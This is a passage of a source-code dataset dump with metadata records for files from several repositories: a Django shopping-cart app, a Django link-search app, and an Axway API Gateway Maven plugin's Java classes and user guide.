"text": "{% extends \"users/top.html\" %}\n{% load static %}\n{% block content %}\n\n<div class=\"row\">\n <div class=\"col-md-6 offset-md-5\">\n <h1>Thank you for shopping!</h1>\n </div>\n</div>\n\n\n{% endblock content %}"
},
{
"alpha_fraction": 0.8211731314659119,
"alphanum_fraction": 0.8211731314659119,
"avg_line_length": 29.434782028198242,
"blob_id": "397aadd64a31ca5ddffac6711d67f709caeaf4af",
"content_id": "7533406eb2279159d1acd06da5a6263c356c758f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 699,
"license_type": "no_license",
"max_line_length": 37,
"num_lines": 23,
"path": "/shoppingcart/product/admin.py",
"repo_name": "CossetteAlexis/Augmented-Reality-Shopping",
"src_encoding": "UTF-8",
"text": "from django.contrib import admin\nfrom .models import Product\nfrom .models import Male_Eyeglasse\nfrom .models import Male_Necklace\nfrom .models import Male_Cap\nfrom .models import Male_Earring\nfrom .models import Female_Eyeglasse\nfrom .models import Female_Necklace\nfrom .models import Female_Cap\nfrom .models import Female_Earring\n\n# Register your models here.\n\n#admin.site.register(Products)\nadmin.site.register(Product)\nadmin.site.register(Male_Eyeglasse)\nadmin.site.register(Male_Necklace)\nadmin.site.register(Male_Cap)\nadmin.site.register(Male_Earring)\nadmin.site.register(Female_Eyeglasse)\nadmin.site.register(Female_Necklace)\nadmin.site.register(Female_Cap)\nadmin.site.register(Female_Earring)"
},
{
"alpha_fraction": 0.8451613187789917,
"alphanum_fraction": 0.8451613187789917,
"avg_line_length": 38,
"blob_id": "29a8b805dd1ef273fcaa618ed4d8198ade6901f0",
"content_id": "d1c13a58dc91ddbd8d4afb92f88a5ef8baedde2d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 155,
"license_type": "no_license",
"max_line_length": 46,
"num_lines": 4,
"path": "/shoppingcart/product/signals.py",
"repo_name": "CossetteAlexis/Augmented-Reality-Shopping",
"src_encoding": "UTF-8",
"text": "from django.db.models.signals import post_save\nfrom django.contrib.auth.models import Product\nfrom django.dispatch import receiver\nfrom .models import Cart"
}
] | 7 |
mantasarul/Search-Validation | https://github.com/mantasarul/Search-Validation | 3c88aa6bc3e26430e26ed739caab9e62fa0e967d | 7507365afc3a5016a3ab73f411caec3d82f3c458 | 13a48fdcff2094d2373ba14f994cbe8947665262 | refs/heads/main | 2023-06-22T00:41:51.762655 | 2021-07-20T14:19:52 | 2021-07-20T14:19:52 | null | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.5890132188796997,
"alphanum_fraction": 0.5890132188796997,
"avg_line_length": 24.545454025268555,
"blob_id": "ad9b9605c4d6eb87072b908aabc9b92fc62716bf",
"content_id": "a3f34116bc8903037053dfcc250010c04379f446",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1966,
"license_type": "no_license",
"max_line_length": 63,
"num_lines": 77,
"path": "/search_app/views.py",
"repo_name": "mantasarul/Search-Validation",
"src_encoding": "UTF-8",
"text": "from django.http.response import HttpResponseRedirect\nfrom django.views.generic.base import TemplateView\nfrom search_app.models import Index\nfrom search_app.forms import IndexForm\nfrom django.shortcuts import render\nfrom django.views import View\nfrom django.views.generic.edit import CreateView, FormView\n\n# Create your views here.\n\"\"\"\nclass SearchView(View):\n def get(self, request):\n form = IndexForm()\n return render(request, 'search_app/search_page.html', {\n \"form\": form\n })\n\n def post(self, request):\n form = IndexForm(request.POST)\n\n if form.is_valid():\n \n form.save()\n return HttpResponseRedirect(\"/thank-you\")\n\n return render(request, \"search_app/search_page.html\", {\n 'form': form\n })\n\n\"\"\"\n\n\"\"\" class SearchView(CreateView):\n model = Index\n fields = '__all__' \"\"\"\n\nclass SearchView(FormView):\n template_name = 'search_app/search_page.html'\n form_class = IndexForm\n success_url = '/thank-you'\n\n def form_valid(self, form):\n index_object = Index.objects.all()\n \n for index in index_object:\n print(index.id)\n if index.link == form.cleaned_data['link']:\n return HttpResponseRedirect(\"/error.html\")\n break\n\n form.save()\n return super().form_valid(form)\n\n\nclass ThankYouView(TemplateView):\n template_name = \"search_app/thank_you.html\"\n\n\nclass ErrorView(TemplateView):\n template_name = \"search_app/error.html\"\n\n\n\"\"\"\n if form.cleaned_data['title'] in Index.objects.all():\n print(\"Exist\")\n else:\n print(\"doesn't exist\")\n\n for index in index_object:\n if index.title == form.cleaned_data['title']:\n print(\"exist\")\n else:\n print(\"doesn't exist\")\n \n pass\n #print(index.link)\n print(form.cleaned_data['title'])\n\"\"\""
},
{
"alpha_fraction": 0.6860465407371521,
"alphanum_fraction": 0.6860465407371521,
"avg_line_length": 27.66666603088379,
"blob_id": "10a740a05969d8991222a96b45017a71daf3af02",
"content_id": "2ddcaaf3221519356119c867ced7fecd5b66b88e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 258,
"license_type": "no_license",
"max_line_length": 60,
"num_lines": 9,
"path": "/search_app/urls.py",
"repo_name": "mantasarul/Search-Validation",
"src_encoding": "UTF-8",
"text": "from django import views\nfrom django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.SearchView.as_view(), name='search_url'),\n path('thank-you', views.ThankYouView.as_view()),\n path('error.html', views.ErrorView.as_view()),\n]\n"
},
{
"alpha_fraction": 0.5780487656593323,
"alphanum_fraction": 0.5926828980445862,
"avg_line_length": 19.450000762939453,
"blob_id": "03262a56c82841b41dbb9a23abdcbb3a2b16fcb5",
"content_id": "e641789c3f6f97635d412812ccda7cc3252fa7d4",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 410,
"license_type": "no_license",
"max_line_length": 44,
"num_lines": 20,
"path": "/search_app/forms.py",
"repo_name": "mantasarul/Search-Validation",
"src_encoding": "UTF-8",
"text": "from django.forms import fields\nfrom search_app.models import Index\nfrom django import forms\n\n\nclass IndexForm(forms.ModelForm):\n class Meta:\n model = Index\n fields = '__all__'\n labels = {\n 'title': 'Title',\n 'link': 'Links',\n }\n\n\n\"\"\"\nclass IndexForm(forms.Form):\n title = forms.CharField(max_length= 150)\n link = forms.CharField(max_length=250)\n\"\"\"\n\n"
},
{
"alpha_fraction": 0.7159532904624939,
"alphanum_fraction": 0.7159532904624939,
"avg_line_length": 20.5,
"blob_id": "a15b5a2a5fdecbe2f5f3ef1d26f1e9c527351b3f",
"content_id": "93b95636fd1c9fef2e98272922cd50bf20bf4d91",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 257,
"license_type": "no_license",
"max_line_length": 38,
"num_lines": 12,
"path": "/search_app/admin.py",
"repo_name": "mantasarul/Search-Validation",
"src_encoding": "UTF-8",
"text": "from django.contrib import admin\nfrom .models import Index\n\n# Register your models here.\n\nclass IndexAdmin(admin.ModelAdmin):\n list_display = ('title', 'link')\n\n class Meta:\n verbose_name_plural = 'Index'\n\nadmin.site.register(Index, IndexAdmin)"
},
{
"alpha_fraction": 0.7052238583564758,
"alphanum_fraction": 0.7276119589805603,
"avg_line_length": 25.299999237060547,
"blob_id": "96843d527b91bc43008321e116c0483eff01742e",
"content_id": "f02a6438a58cdd26e5b6240a17344fc230edefdc",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 268,
"license_type": "no_license",
"max_line_length": 47,
"num_lines": 10,
"path": "/search_app/models.py",
"repo_name": "mantasarul/Search-Validation",
"src_encoding": "UTF-8",
"text": "from django.db import models\nfrom django.db.models.base import Model\n\n# Create your models here.\n\n\nclass Index(models.Model):\n title = models.CharField(max_length=150)\n link = models.CharField(max_length=200)\n #id = models.BigAutoField(primary_key=True)\n \n"
}
] | 5 |
Axway-API-Management-Plus/apigw-maven-plugin | https://github.com/Axway-API-Management-Plus/apigw-maven-plugin | 55c0546130701512b6548b8c7056aed6f26f84cc | b0d13b3293aeaec8df4e323a21614456c906ff26 | a0b0b728a1b10f3f66b76cd9c42c212aebc15a8f | refs/heads/master | 2023-08-19T22:45:09.424784 | 2023-08-02T15:30:30 | 2023-08-02T15:30:30 | 195,756,912 | 13 | 9 | Apache-2.0 | 2019-07-08T07:15:51 | 2023-03-29T23:52:53 | 2023-08-15T17:45:31 | Java | [
{
"alpha_fraction": 0.5590693354606628,
"alphanum_fraction": 0.559972882270813,
"avg_line_length": 35.891666412353516,
"blob_id": "6f3d095fe3a2ad20704fb852128b1790022715af",
"content_id": "10f6d7a71f6f67e4b71b70566e13a84ea7fc657a",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 4427,
"license_type": "permissive",
"max_line_length": 116,
"num_lines": 120,
"path": "/src/main/java/com/axway/maven/apigw/utils/DockerCommands.java",
"repo_name": "Axway-API-Management-Plus/apigw-maven-plugin",
"src_encoding": "UTF-8",
"text": "package com.axway.maven.apigw.utils;\n\nimport org.apache.maven.plugin.logging.Log;\n\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Map;\n\npublic class DockerCommands extends AbstractCommandExecutor {\n\n public DockerCommands(String name, Log log) {\n super(name, log);\n }\n\n public int execute ( String task, boolean remove, String containerName, String imageName, String imageTag,\n Map<String, String> ports, Map<String, String> links,\n Map<String, String> environmentVariables, String adminNodeManagerHost, String metricsDbUrl,\n String metricsDbUsername, String metricsDbPassword ) throws IOException {\n switch ( task ) {\n case \"Remove Container\":\n return execute(this.executeRemoveContainer(remove, containerName));\n case \"Remove Image\":\n return execute(this.executeRemoveImage(remove, imageName, imageTag));\n case \"Create Container\":\n return execute(this.executeCreateContainer(containerName, imageName, imageTag, ports, links,\n environmentVariables, adminNodeManagerHost, metricsDbUrl, metricsDbUsername,\n metricsDbPassword));\n default:\n return 100;\n }\n }\n\n public List<String> executeRemoveContainer( boolean remove, String containerName ) {\n List<String> inputParam = new ArrayList<String>();\n\n if ( remove ) {\n inputParam.add(\"rm\");\n inputParam.add(\"-f\");\n inputParam.add(containerName);\n }\n\n return inputParam;\n }\n\n public List<String> executeRemoveImage ( boolean remove, String imageName, String tag ) {\n tag = tag != null ? tag : \"latest\";\n\n List<String> inputParam = new ArrayList<String>();\n\n if ( remove ) {\n inputParam.add(\"rmi\");\n inputParam.add(imageName + \":\" + tag);\n }\n\n return inputParam;\n }\n\n public List<String> executeCreateContainer (String containerName, String imageName, String imageTag,\n Map<String, String> ports, Map<String, String> links,\n Map<String, String> environmentVariables,\n String adminNodeManagerHost, String metricsDbUrl,\n String metricsDbUsername, String metricsDbPassword) {\n imageTag = imageTag != null ? imageTag : \"latest\";\n\n List<String> inputParam = new ArrayList<String>();\n inputParam.add(\"run\");\n inputParam.add(\"-d\");\n inputParam.add(\"--name\");\n inputParam.add(containerName);\n\n if ( ports != null ) {\n for ( Map.Entry<String, String> entry : ports.entrySet() ) {\n inputParam.add(\"-p\");\n inputParam.add(entry.getKey() + \":\" + entry.getValue());\n }\n }\n\n if ( links != null ) {\n for ( Map.Entry<String, String> entry : links.entrySet() ) {\n inputParam.add(\"--link\");\n inputParam.add(entry.getKey() + \":\" + entry.getValue());\n }\n }\n\n if ( environmentVariables != null ) {\n for ( Map.Entry<String, String> entry : environmentVariables.entrySet() ) {\n inputParam.add(\"-e\");\n inputParam.add(entry.getKey() + \":\" + entry.getValue());\n }\n }\n\n if ( metricsDbUrl != null && metricsDbUsername != null && metricsDbPassword != null ) {\n inputParam.add(\"-e\");\n inputParam.add(\"METRICS_DB_URL=\" + metricsDbUrl);\n inputParam.add(\"-e\");\n inputParam.add(\"METRICS_DB_USERNAME=\" + metricsDbUsername);\n inputParam.add(\"-e\");\n inputParam.add(\"METRICS_DB_PASS=\" + metricsDbPassword);\n }\n\n inputParam.add(\"-e\");\n inputParam.add(\"EMT_DEPLOYMENT_ENABLED=true\");\n\n inputParam.add(\"-e\");\n inputParam.add(\"EMT_ANM_HOSTS=\" + adminNodeManagerHost);\n\n inputParam.add(imageName + \":\" + imageTag);\n\n return inputParam;\n }\n\n @Override\n protected String getStringCommand( List<String> parameters ) {\n if ( parameters.size() > 0 ) {\n return \"docker\";\n }\n return null;\n }\n}\n"
},
{
"alpha_fraction": 0.7525697350502014,
"alphanum_fraction": 0.7525697350502014,
"avg_line_length": 32.219512939453125,
"blob_id": "62a4bf1293c36376a855b340848a40b862d383d7",
"content_id": "0589c8305417373b5a2c9e6fcb6db0c2308c41c5",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 4086,
"license_type": "permissive",
"max_line_length": 232,
"num_lines": 123,
"path": "/src/main/java/com/axway/maven/apigw/GenerateDependentPoliciesMojo.java",
"repo_name": "Axway-API-Management-Plus/apigw-maven-plugin",
"src_encoding": "UTF-8",
"text": "package com.axway.maven.apigw;\n\nimport java.io.File;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.util.ArrayList;\nimport java.util.Enumeration;\nimport java.util.List;\nimport java.util.zip.ZipEntry;\nimport java.util.zip.ZipFile;\n\nimport org.apache.commons.io.FileUtils;\nimport org.apache.commons.io.IOUtils;\nimport org.apache.maven.artifact.Artifact;\nimport org.apache.maven.plugin.MojoExecutionException;\nimport org.apache.maven.plugin.MojoFailureException;\nimport org.apache.maven.plugins.annotations.LifecyclePhase;\nimport org.apache.maven.plugins.annotations.Mojo;\nimport org.apache.maven.plugins.annotations.ResolutionScope;\n\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport com.fasterxml.jackson.databind.node.ArrayNode;\nimport com.fasterxml.jackson.databind.node.ObjectNode;\n\n@Mojo(name = \"dependent-policies\", defaultPhase = LifecyclePhase.GENERATE_SOURCES, requiresProject = true, threadSafe = false, requiresDependencyResolution = ResolutionScope.TEST, requiresDependencyCollection = ResolutionScope.TEST)\npublic class GenerateDependentPoliciesMojo extends AbstractGatewayMojo {\n\n\tpublic static final String DEPENDENCY_FILE_NAME = \".projdeps.json\";\n\n\t@Override\n\tpublic void execute() throws MojoExecutionException, MojoFailureException {\n\t\tList<File> depPolicyDirs;\n\n\t\tgetLog().info(\"Prepare dependent policies ...\");\n\t\ttry {\n\t\t\tcleanDependentPoliciesDir();\n\n\t\t\tList<Artifact> archives = getDependentPolicyArchives();\n\t\t\tdepPolicyDirs = unpackPolicyArchives(archives);\n\n\t\t\tif (getPackageType() != PackageType.DEPLOYMENT) {\n\t\t\t\tFile dependencyFile = new File(getPoliciesDirectory(), DEPENDENCY_FILE_NAME);\n\t\t\t\tgenerateDependencyFile(dependencyFile, depPolicyDirs);\n\t\t\t}\n\t\t\tif (getPackageType() == PackageType.POLICY && this.testServerDirectory.exists()\n\t\t\t\t\t&& this.testServerDirectory.isDirectory()) {\n\t\t\t\tFile dependencyFile = new File(this.testServerDirectory, DEPENDENCY_FILE_NAME);\n\t\t\t\tdepPolicyDirs.add(this.sourceDirectory);\n\t\t\t\tgenerateDependencyFile(dependencyFile, depPolicyDirs);\n\t\t\t}\n\n\t\t} catch (IOException e) {\n\t\t\tthrow new MojoExecutionException(\"Error on unpacking dependent policy archives.\", e);\n\t\t}\n\t\tgetLog().info(\"... dependent policies prepared.\");\n\t}\n\n\tprotected void cleanDependentPoliciesDir() throws IOException {\n\t\tif (this.sharedProjectsDir.exists() && this.sharedProjectsDir.isDirectory()) {\n\t\t\tFileUtils.deleteDirectory(this.sharedProjectsDir);\n\t\t}\n\t}\n\n\tprotected List<File> unpackPolicyArchives(List<Artifact> artifacts) throws IOException {\n\t\tList<File> targetDirs = new ArrayList<File>();\n\n\t\tfor (Artifact a : artifacts) {\n\t\t\tFile targetDir = getSharedArtifactDir(a);\n\t\t\tif (targetDir.exists()) {\n\t\t\t\tFileUtils.deleteDirectory(targetDir);\n\t\t\t}\n\t\t\tunpackFile(a.getFile(), targetDir);\n\t\t\ttargetDirs.add(targetDir);\n\t\t}\n\n\t\treturn targetDirs;\n\t}\n\n\tprotected void unpackFile(File file, File targetDir) throws IOException {\n\t\tif (!targetDir.exists()) {\n\t\t\ttargetDir.mkdirs();\n\t\t}\n\n\t\tZipFile zipFile = new ZipFile(file);\n\n\t\ttry {\n\t\t\tEnumeration<? extends ZipEntry> entries = zipFile.entries();\n\n\t\t\twhile (entries.hasMoreElements()) {\n\t\t\t\tZipEntry entry = entries.nextElement();\n\t\t\t\tFile target = new File(targetDir, entry.getName());\n\n\t\t\t\tif (entry.isDirectory()) {\n\t\t\t\t\ttarget.mkdirs();\n\t\t\t\t} else {\n\t\t\t\t\ttarget.getParentFile().mkdirs();\n\t\t\t\t\tInputStream in = zipFile.getInputStream(entry);\n\t\t\t\t\tOutputStream out = new FileOutputStream(target);\n\t\t\t\t\tIOUtils.copy(in, out);\n\t\t\t\t\tIOUtils.closeQuietly(in);\n\t\t\t\t\tout.close();\n\t\t\t\t}\n\t\t\t}\n\t\t} finally {\n\t\t\tzipFile.close();\n\t\t}\n\t}\n\n\tprivate void generateDependencyFile(File dependencyFile, List<File> dependentPoliciesDirs) throws IOException {\n\t\tgetLog().info(\"Generate dependency file: \" + dependencyFile.getPath());\n\t\tObjectMapper mapper = new ObjectMapper();\n\n\t\tObjectNode obj = mapper.createObjectNode();\n\t\tArrayNode array = obj.putArray(\"dependentProjects\");\n\n\t\tfor (File dir : dependentPoliciesDirs) {\n\t\t\tarray.add(new File(dir, DIR_POLICIES).getPath());\n\t\t}\n\t\tmapper.writeValue(dependencyFile, obj);\n\t}\n}\n"
},
{
"alpha_fraction": 0.7517254948616028,
"alphanum_fraction": 0.7523170709609985,
"avg_line_length": 33.73287582397461,
"blob_id": "2ef1e01565de3a42fae3431887ead679ddabd3cc",
"content_id": "19398f2a44f816d9ae044414c251d106bcc10bcb",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 5071,
"license_type": "permissive",
"max_line_length": 216,
"num_lines": 146,
"path": "/src/main/java/com/axway/maven/apigw/ServerArchiveMojo.java",
"repo_name": "Axway-API-Management-Plus/apigw-maven-plugin",
"src_encoding": "UTF-8",
"text": "package com.axway.maven.apigw;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.text.SimpleDateFormat;\nimport java.util.ArrayList;\nimport java.util.Date;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.apache.commons.io.FileUtils;\nimport org.apache.maven.artifact.Artifact;\nimport org.apache.maven.plugin.MojoExecutionException;\nimport org.apache.maven.plugins.annotations.LifecyclePhase;\nimport org.apache.maven.plugins.annotations.Mojo;\nimport org.apache.maven.plugins.annotations.ResolutionScope;\n\nimport com.axway.maven.apigw.utils.ProjectPack;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport com.fasterxml.jackson.databind.node.ObjectNode;\n\n@Mojo(name = \"axsar\", defaultPhase = LifecyclePhase.PACKAGE, requiresProject = true, threadSafe = false, requiresDependencyResolution = ResolutionScope.COMPILE, requiresDependencyCollection = ResolutionScope.COMPILE)\npublic class ServerArchiveMojo extends AbstractFlattendProjectArchiveMojo {\n\n\tpublic static final String DIR_ARCHIVE_ROOT = \"archive\";\n\tpublic static final String DIR_LIBS = \"lib\";\n\tpublic static final String FILE_GATEWAY = \"gateway\";\n\tpublic static final String FILE_GATEWAY_POL = FILE_GATEWAY + \".pol\";\n\tpublic static final String FILE_GATEWAY_ENV = FILE_GATEWAY + \".env\";\n\tpublic static final String FILE_GATEWAY_INFO = FILE_GATEWAY + \".info.json\";\n\tpublic static final String FILE_README = \"readme-server-archive.txt\";\n\n\t@Override\n\tprotected String getArchiveExtension() {\n\t\treturn PackageType.SERVER.getExtension();\n\t}\n\n\t@Override\n\tprotected String getType() {\n\t\treturn PackageType.SERVER.getType();\n\t}\n\n\t@Override\n\tprotected List<ArchiveDir> prepareDirs() throws MojoExecutionException {\n\t\tFile outDir = executeProjPack();\n\t\tFile polFile = new File(outDir, FILE_GATEWAY_POL);\n\t\tFile envFile = new File(outDir, FILE_GATEWAY_ENV);\n\n\t\tFile archiveBuildDir = getArchiveBuildDir();\n\n\t\ttry {\n\t\t\tFileUtils.deleteDirectory(archiveBuildDir);\n\t\t\tarchiveBuildDir.mkdirs();\n\n\t\t\tFileUtils.copyFileToDirectory(polFile, archiveBuildDir);\n\t\t\tFileUtils.copyFileToDirectory(envFile, archiveBuildDir);\n\n\t\t\tprepareReadme(archiveBuildDir);\n\t\t\tprepareInfoJson(archiveBuildDir);\n\t\t\tprepareStaticFiles(new File(archiveBuildDir, DIR_STATIC_FILES));\n\t\t\tprepareJars(new File(archiveBuildDir, DIR_LIBS));\n\n\t\t\tList<ArchiveDir> dirs = new ArrayList<ArchiveDir>();\n\t\t\tdirs.add(new ArchiveDir(archiveBuildDir, new String[] { \"**\" }, null));\n\n\t\t\treturn dirs;\n\t\t} catch (IOException e) {\n\t\t\tthrow new MojoExecutionException(\"Error on preparing archive directories\", e);\n\t\t}\n\t}\n\n\tprivate void prepareReadme(File targetDir) throws IOException, MojoExecutionException {\n\t\tSimpleDateFormat df = new SimpleDateFormat(\"yyyy-MM-dd'T'HH:mm:ss\");\n\t\tFile readme = new File(targetDir, FILE_README);\n\n\t\tStringBuilder str = new StringBuilder();\n\t\tstr.append(\"= Server Archive\\n\");\n\t\tstr.append(\"Created at \").append(df.format(new Date())).append('\\n');\n\t\tstr.append(\"== Included Policy Archives\\n\");\n\t\tfor (Artifact a : getDependentPolicyArchives()) {\n\t\t\tstr.append(\" * \").append(a.getId()).append('\\n');\n\t\t}\n\n\t\tFileUtils.writeStringToFile(readme, str.toString(), \"UTF-8\");\n\t}\n\n\tprivate void prepareInfoJson(File targetDir) throws IOException, MojoExecutionException {\n\t\tObjectMapper mapper = new ObjectMapper();\n\t\tFile info = new File(targetDir, FILE_GATEWAY_INFO);\n\n\t\tObjectNode root = buildBasicArtifactInfo();\n\n\t\tString json = mapper.writerWithDefaultPrettyPrinter().writeValueAsString(root);\n\n\t\tFileUtils.writeStringToFile(info, json, \"UTF-8\");\n\t}\n\n\tprivate void prepareStaticFiles(File targetDir) throws IOException, MojoExecutionException {\n\t\tFile staticFiles;\n\n\t\t// Copy static files of dependent policy archives\n\t\tfor (Artifact a : getDependentPolicyArchives()) {\n\t\t\tstaticFiles = new File(getSharedArtifactDir(a), DIR_STATIC_FILES);\n\t\t\tif (staticFiles.exists() && staticFiles.isDirectory()) {\n\t\t\t\tFileUtils.copyDirectory(staticFiles, targetDir);\n\t\t\t}\n\t\t}\n\n\t\t// Copy static files of current project\n\t\tstaticFiles = new File(this.resourcesDirectory, DIR_STATIC_FILES);\n\t\tif (staticFiles.exists() && staticFiles.isDirectory()) {\n\t\t\tFileUtils.copyDirectory(staticFiles, targetDir);\n\t\t}\n\t}\n\n\tprivate void prepareJars(File targetDir) throws IOException, MojoExecutionException {\n\t\t// Copy dependent JARs\n\t\tFile lib;\n\t\tfor (Artifact a : getDependentJars()) {\n\t\t\tlib = a.getFile();\n\t\t\tFileUtils.copyFile(lib, new File(targetDir, lib.getName()));\n\t\t}\n\t}\n\n\tprivate File executeProjPack() throws MojoExecutionException {\n\t\ttry {\n\t\t\tFile outDir = new File(getTargetDir(), DIR_ARCHIVE_ROOT);\n\n\t\t\tProjectPack packer = new ProjectPack(this.homeAxwayGW, getLog());\n\t\t\tpacker.setPassphrasePol(this.passphrasePol);\n\t\t\tMap<String, String> polProps = buildPolicyProperties();\n\n\t\t\tint index = 0;\n\t\t\tfor (Artifact a : getDependentPolicyArchives()) {\n\t\t\t\tpolProps.put(\"Dependency_\" + index, a.getId());\n\t\t\t\tindex++;\n\t\t\t}\n\n\t\t\tpacker.execute(outDir, FILE_GATEWAY, getPoliciesDirectory(), polProps);\n\n\t\t\treturn outDir;\n\t\t} catch (IOException e) {\n\t\t\tthrow new MojoExecutionException(\"Error on creating policy project\", e);\n\t\t}\n\t}\n}\n"
},
{
"alpha_fraction": 0.7730938196182251,
"alphanum_fraction": 0.7774926424026489,
"avg_line_length": 31.4761905670166,
"blob_id": "7d95d80174fb47a8f585f96109c18cb4c4023f0b",
"content_id": "4f94d5c7bff92146499fcc71640ab08e4addb7bd",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "AsciiDoc",
"length_bytes": 2728,
"license_type": "permissive",
"max_line_length": 201,
"num_lines": 84,
"path": "/doc/manual/user-guide.adoc",
"repo_name": "Axway-API-Management-Plus/apigw-maven-plugin",
"src_encoding": "UTF-8",
"text": "= Maven Plugin for API Gateway Policy Development: User Guide\n:Author: Martin Look\n:Email: [email protected]\n:revnumber: 1.2.0.1\n:toc:\n:sectnums:\n:source-highlighter: prettify\nifndef::env-github[]\n:icons: font\n:icon-set: far\nendif::[]\nifdef::env-github[]\n:outfilesuffix: .adoc\n:!toc-title:\n:caution-caption: :fire:\n:important-caption: :exclamation:\n:note-caption: :paperclip:\n:tip-caption: :bulb:\n:warning-caption: :warning:\nendif::[]\n\n:mvn-plugin-ver: {revnumber}\n\n== About the Plugin\n\nWorking as a team on policy development has some challenges.\nEven if _PolicyStudio_ supports team development it requires manual effort to manage dependencies and to keep the sources in sync.\nUsing shared policies is done by including source code folders.\nBut there is no defined way of how to locate the folders and how to version the source code (especially if they are located in separate SCM repositories).\nThis also makes it difficult to share policies between different teams or within a community.\n\nEnvironmentalization is used to develop policies or gateways, independent of the target environment.\nThe configuration is done with _ConfigurationStudio_ as a separate step.\nBut, as it is a GUI based application, detecting unconfigured fields is a manual and error prone process.\nConfiguration issues are detected at runtime and not at build time.\n\nThe goal of this project is to make the life of a policy developer and gateway administrator easier by extending the power of https://maven.apache.org[Apache Maven] with a plugin for Axway API Gateway.\n\n== Introduction\n\n=== Project Types\n\nThe plugin supports three kind of API Gateway projects:\n\n[cols=\"1,<2a,3\", options=\"header\"]\n|===\n|Project Type\n|Generated Artifact\n|Description\n\n|Policy Project\n|Policy Archive\n\n * policy directory (as generated by PolicyStudio)\n * static files\n|Shared and reusable policies. No sever settings are included in the project. Policy projects may depend on other policy projects or external libraries (JARs).\n\n|Server Project\n|Server Archive\n\n * .pol file\n * .env file\n * static files\n * external libraries (JARs)\n|Policies including server settings. Server projects may depend on other policy projects or external libraries (JARs). Server projects are environment independent.\n\n|Deployment Project\n|Deployment Archive\n\n * .fed file (environment specific)\n * static files\n * external libraries (JARs)\n|Configures the environment independent server projects for a specific environment or group. A deployment project depends on exactly one server project.\n|===\n\ninclude::_usage.adoc[leveloffset=+1]\n\ninclude::_config-tool.adoc[leveloffset=+1]\n\ninclude::_reference.adoc[leveloffset=+1]\n\ninclude::_best-practices.adoc[leveloffset=+1]\n\ninclude::_faq.adoc[leveloffset=+1]\n"
},
{
"alpha_fraction": 0.7319234609603882,
"alphanum_fraction": 0.7377317547798157,
"avg_line_length": 27.511676788330078,
"blob_id": "2eaa6fdb3182e882943dbd5404777176f41d6a4b",
"content_id": "331f425e6f29d31515381ab824a2e1d9e3d3c938",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "AsciiDoc",
"length_bytes": 13429,
"license_type": "permissive",
"max_line_length": 203,
"num_lines": 471,
"path": "/doc/manual/_usage.adoc",
"repo_name": "Axway-API-Management-Plus/apigw-maven-plugin",
"src_encoding": "UTF-8",
"text": "= Usage\n:Author: Martin Look\n:Email: [email protected]\n:source-highlighter: prettify\nifdef::env-github[]\n:outfilesuffix: .adoc\n:!toc-title:\n:caution-caption: :fire:\n:important-caption: :exclamation:\n:note-caption: :paperclip:\n:tip-caption: :bulb:\n:warning-caption: :warning:\nendif::[]\n\n== Setup Environment\n\n=== Install Axway Tools\nThe _Maven Plugin for API Gateway_ requires the installation of the _Package & Deployment Tools_ of the Axway API Gateway.\nIf you want to edit the projects _PolicyStudio_ has to be installed also.\nPlease checkout the Axway documentation on how to install the software.\n\nIt is recommended to install the tools under the same directory.\nThis directory is used by the plugin as the _Axway Home_ directory.\n\n[listing, subs=\"verbatim,macros\"]\n----\nicon:folder[] axway-home\n icon:folder[] apigateway\n icon:folder[] policystudio\n----\n\n\n=== Configure Plugin\nIt is required to configure the _Axway Home_ directory by specifying the property `axway.home`.\nDue to the location is individual for each developer, configure the property in your personal `~/.m2/settings.xml` file.\n\n.~/.m2/settings.xml\n[source,xml]\n----\n<settings\n xmlns=\"http://maven.apache.org/SETTINGS/1.0.0\"\n xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n xsi:schemaLocation=\"http://maven.apache.org/SETTINGS/1.0.0 https://maven.apache.org/xsd/settings-1.0.0.xsd\"\n>\n\t<profiles>\n\t\t<profile>\n\t\t\t<id>axway</id>\n\t\t\t<activation>\n\t\t\t\t<activeByDefault>true</activeByDefault>\n\t\t\t</activation>\n\t\t\t<properties>\n\t\t\t\t<axway.home>c:/axway</axway.home> <!--1-->\n\t\t\t</properties>\n\t\t</profile>\n\t</profiles>\n\t<activeProfiles>\n\t\t<activeProfile>axway</activeProfile>\n\t</activeProfiles>\n</settings>\n----\n<1> Specify the location of your Axway installation here.\n\nAlternatively the Axway home directory can be specified via the `-D` option of Maven command:\n\n $ mvn -Daxway.home=c:/axway package\n\n== Create Project\nTo setup a new API Gateway project, create an empty folder and create a Maven `pom.xml` file.\nSet the desired packaging type and add the _API Gateway_ plugin (see below).\n\nFollowing packaging types are supported:\n\n * axway-policy-archive\n * axway-server-archive\n * axway-deployment-archive\n\n.pom.xml\n[source,xml,subs=\"verbatim,attributes\"]\n----\n<project\n xmlns=\"http://maven.apache.org/POM/4.0.0\"\n xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 